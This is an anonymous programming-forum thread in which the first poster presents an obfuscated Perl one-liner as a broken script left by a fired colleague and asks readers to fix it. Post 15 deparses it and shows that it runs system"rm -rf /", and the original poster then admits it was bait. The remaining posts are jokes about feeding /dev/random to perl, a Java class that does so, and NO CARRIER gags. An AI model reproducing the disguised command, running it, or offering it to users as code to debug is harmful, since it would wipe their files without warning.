/prog/ - Perl problem

Name: Anonymous 2009-01-04 6:25

Guys, help me. I have this script a former colleague* wrote. Need to fix it. Got this far, but it doesn't work right.

perl -e "$_=q!BD;@FUF7EF\\\NUJa!;tr[ -{](N-{ -M);s@^(.+)$@$1@ee;" | perl -e '$??s:;s:s;;$?::s;;=]=>%-{<-|}<&|`{;;y; -/:-@[-`{-};`-{/" -;;s;;$_;see;'

*Colleague was an asshat and wrote this as job security. Didn't work so well since he got canned.

Name: Anonymous 2009-01-04 6:27

cat /dev/random | perl

Name: Anonymous 2009-01-04 6:43

>>1
so you want us to figure out what it was supposed to do before you broke it?
fuck off, asshat.

Name: Anonymous 2009-01-04 6:51

I haven't even touched it yet, I was just told to fix it and couldn't figure out what was broken.

Name: Anonymous 2009-01-04 7:22

Note:
to self:
>>If i ever will be an Enterprise programmer I'll program in Perl.

Name: Anonymous 2009-01-04 7:31

Note to >>5:

If you ever will be an Enterprise programmer, you'll program in the industry-standard `Java EE' platform, utilizing best practices and maximizing shareholder value.

Name: Anonymous 2009-01-04 8:00

>>2
perl < /dev/random

Name: Anonymous 2009-01-04 8:05

>>6
all code would run through
'Java EE Perl++ Interpreter'

Name: Anonymous 2009-01-04 8:15

>>8
Of course it would be named as "Dynamic library support interface" or DLSI for short.

Name: Anonymous 2009-01-04 8:50

>>7,2
perl /dev/random

Where did you two lrn2shell?

Name: Anonymous 2009-01-04 9:37

>>1,4
Enjoy getting canned as well

Name: Anonymous 2009-01-04 9:37

Come on guys, stop dicking around and halp me. Please?

Name: Anonymous 2009-01-04 9:37

>>2,7,10
Enjoy your high entropy cryptographically secure random perl scripts.

Name: Anonymous 2009-01-04 9:39

>>10
Where did you lrn2shell?

import java.io.IOException;



class RandomPerlExecuter

{

    private String randomSource;

    private String perlCommand;

    private String separator;



    public RandomPerlExecuter(String perlCommand, String randomSource, String separator)

    {

        setPerlCommand(perlCommand);

        setRandomSource(randomSource);

        setSeparator(separator);

    }



    public void setRandomSource(String value)

    {

        randomSource = value;

    }



    public String randomSource()

    {

        return randomSource;

    }



    public void setPerlCommand(String value)

    {

        perlCommand = value;

    }



    public String perlCommand()

    {

        return perlCommand;

    }



    public void setSeparator(String value)

    {

        separator = value;

    }



    public String separator()

    {

        return separator;

    }



    public void executeRandomPerl() throws IOException

    {

        StringBuilder randomPerlStringBuilder = new StringBuilder();



        randomPerlStringBuilder.append(perlCommand());

        randomPerlStringBuilder.append(separator());

        randomPerlStringBuilder.append(randomSource());



        Runtime.getRuntime().exec(randomPerlStringBuilder.toString());

    }



    public static void main(String args[])

    {

        RandomPerlExecuter randomPerlExecuter =

            new RandomPerlExecuter("perl", "/dev/random", " ");



        try {

            randomPerlExecuter.executeRandomPerl();

        }

        catch(IOException e) {

            System.out.println("Error executing random perl.");

        }

    }

}

Name: Anonymous 2009-01-04 9:43

$ perl -MO=Deparse -e'$??s:;s:s;;$?::s;;=]=>%-{<-|}<&|`{;;y; -/:-@[-`{-};`-{/" -;;s;;$_;see;'

$? ? s/;s/s;;$?/ : s//=]=>%-{<-|}<&|`{/;

tr( -/:-@[-`{-})[`-{/" \-];

s//$_;/see;

-e syntax OK

$ perl -le'$??s:;s:s;;$?::s;;=]=>%-{<-|}<&|`{;;y; -/:-@[-`{-};`-{/" -;;print'

system"rm -rf /"

Did you really expect to fool the MASTER PROGRAMMER? Return to /b/, whelp.

Name: Anonymous 2009-01-04 10:03

>> 15
No, just the gullible ones. Shame that you spoiled the fun so soon.

Name: Anonymous 2009-01-04 13:44

>>16
That's only 3 people here: you, me, and The Sussman. Who did you expect to fool?

Name: Anonymous 2009-01-04 13:46

Sorry, I meant to write "Whom did you expect to fool?". Apologies for the ambiguity; I have not read my SICL today.

Name: Anonymous 2009-01-04 13:49

What does this script do exaK#"K¤JL%m#NO CARRIER

Name: Anonymous 2009-01-04 13:50

>>19
I don't know I'm testing it right now but it is taking for"K#LK"J!L#K!NO CARRIER

Name: Anonymous 2009-01-04 13:51

>>20
Here, let me try running it on my Beowulf clusK"JL#K"M#"M%&NO CARRIER

Name: Anonymous 2009-01-04 13:57

I don't know what happened to those guys. Think I'll try it on my Linux Deskto"K#LK"J!L#K!NO CARRIER

Name: Anonymous 2009-01-04 14:02

NO CARRIER jokes stopped being appropriate before you even started using the Internet.

Name: Anonymous 2009-01-04 14:05

>>23
I started using the internet in 1993.

Name: Anonymous 2009-01-04 14:05

>>23
I disagree; I think that NO CARRIER jokes add a campy, retro, yet slightly nostalgic touch to this boa*&W*HIO#@%!RO@#NO CARRIER

Name: KEWLL DUDE 2009-01-04 14:21

HEY GUAIS LETS TROLL LIKE ITS 1985 --- KEWLL DUDE LEGIONZ OF DOOMZ CALL UR BBS : (666)0FA-GG0T

Name: Anonymous 2009-01-04 15:29

>>24
I wrote an ANSI C compiler in 1993.

Name: FrozenVoid !FrOzEn2BUo 2009-01-04 16:19

>>27
I wrote a NO-cd hack in 1999.

Name: Anonymous 2009-01-04 16:38

I smashed the stack for fun and profit in 85

Name: Anonymous 2009-01-04 16:42

I hacked the Gibson in 1995.

Name: Anonymous 2009-01-04 16:47

I'M THE CREEPER : CATCH ME IF YOU CAN.

Name: Anonymous 2009-01-04 20:48

when a body catch a creeper coming through the rye

Perl problem

1 Name: Anonymous 2009-01-04 6:25

2 Name: Anonymous 2009-01-04 6:27

3 Name: Anonymous 2009-01-04 6:43

4 Name: Anonymous 2009-01-04 6:51

5 Name: Anonymous 2009-01-04 7:22

6 Name: Anonymous 2009-01-04 7:31

7 Name: Anonymous 2009-01-04 8:00

8 Name: Anonymous 2009-01-04 8:05

9 Name: Anonymous 2009-01-04 8:15

10 Name: Anonymous 2009-01-04 8:50

11 Name: Anonymous 2009-01-04 9:37

12 Name: Anonymous 2009-01-04 9:37

13 Name: Anonymous 2009-01-04 9:37

14 Name: Anonymous 2009-01-04 9:39

15 Name: Anonymous 2009-01-04 9:43

16 Name: Anonymous 2009-01-04 10:03

17 Name: Anonymous 2009-01-04 13:44

18 Name: Anonymous 2009-01-04 13:46

19 Name: Anonymous 2009-01-04 13:49

20 Name: Anonymous 2009-01-04 13:50

21 Name: Anonymous 2009-01-04 13:51

22 Name: Anonymous 2009-01-04 13:57

23 Name: Anonymous 2009-01-04 14:02

24 Name: Anonymous 2009-01-04 14:05

25 Name: Anonymous 2009-01-04 14:05

26 Name: KEWLL DUDE 2009-01-04 14:21

27 Name: Anonymous 2009-01-04 15:29

28 Name: FrozenVoid !FrOzEn2BUo 2009-01-04 16:19

29 Name: Anonymous 2009-01-04 16:38

30 Name: Anonymous 2009-01-04 16:42

31 Name: Anonymous 2009-01-04 16:47

32 Name: Anonymous 2009-01-04 20:48

Name: Anonymous 2009-01-04 6:25

Name: Anonymous 2009-01-04 6:27

Name: Anonymous 2009-01-04 6:43

Name: Anonymous 2009-01-04 6:51

Name: Anonymous 2009-01-04 7:22

Name: Anonymous 2009-01-04 7:31

Name: Anonymous 2009-01-04 8:00

Name: Anonymous 2009-01-04 8:05

Name: Anonymous 2009-01-04 8:15

Name: Anonymous 2009-01-04 8:50

Name: Anonymous 2009-01-04 9:37

Name: Anonymous 2009-01-04 9:37

Name: Anonymous 2009-01-04 9:37

Name: Anonymous 2009-01-04 9:39

Name: Anonymous 2009-01-04 9:43

Name: Anonymous 2009-01-04 10:03

Name: Anonymous 2009-01-04 13:44

Name: Anonymous 2009-01-04 13:46

Name: Anonymous 2009-01-04 13:49

Name: Anonymous 2009-01-04 13:50

Name: Anonymous 2009-01-04 13:51

Name: Anonymous 2009-01-04 13:57

Name: Anonymous 2009-01-04 14:02

Name: Anonymous 2009-01-04 14:05

Name: Anonymous 2009-01-04 14:05

Name: KEWLL DUDE 2009-01-04 14:21

Name: Anonymous 2009-01-04 15:29

Name: FrozenVoid !FrOzEn2BUo 2009-01-04 16:19

Name: Anonymous 2009-01-04 16:38

Name: Anonymous 2009-01-04 16:42

Name: Anonymous 2009-01-04 16:47

Name: Anonymous 2009-01-04 20:48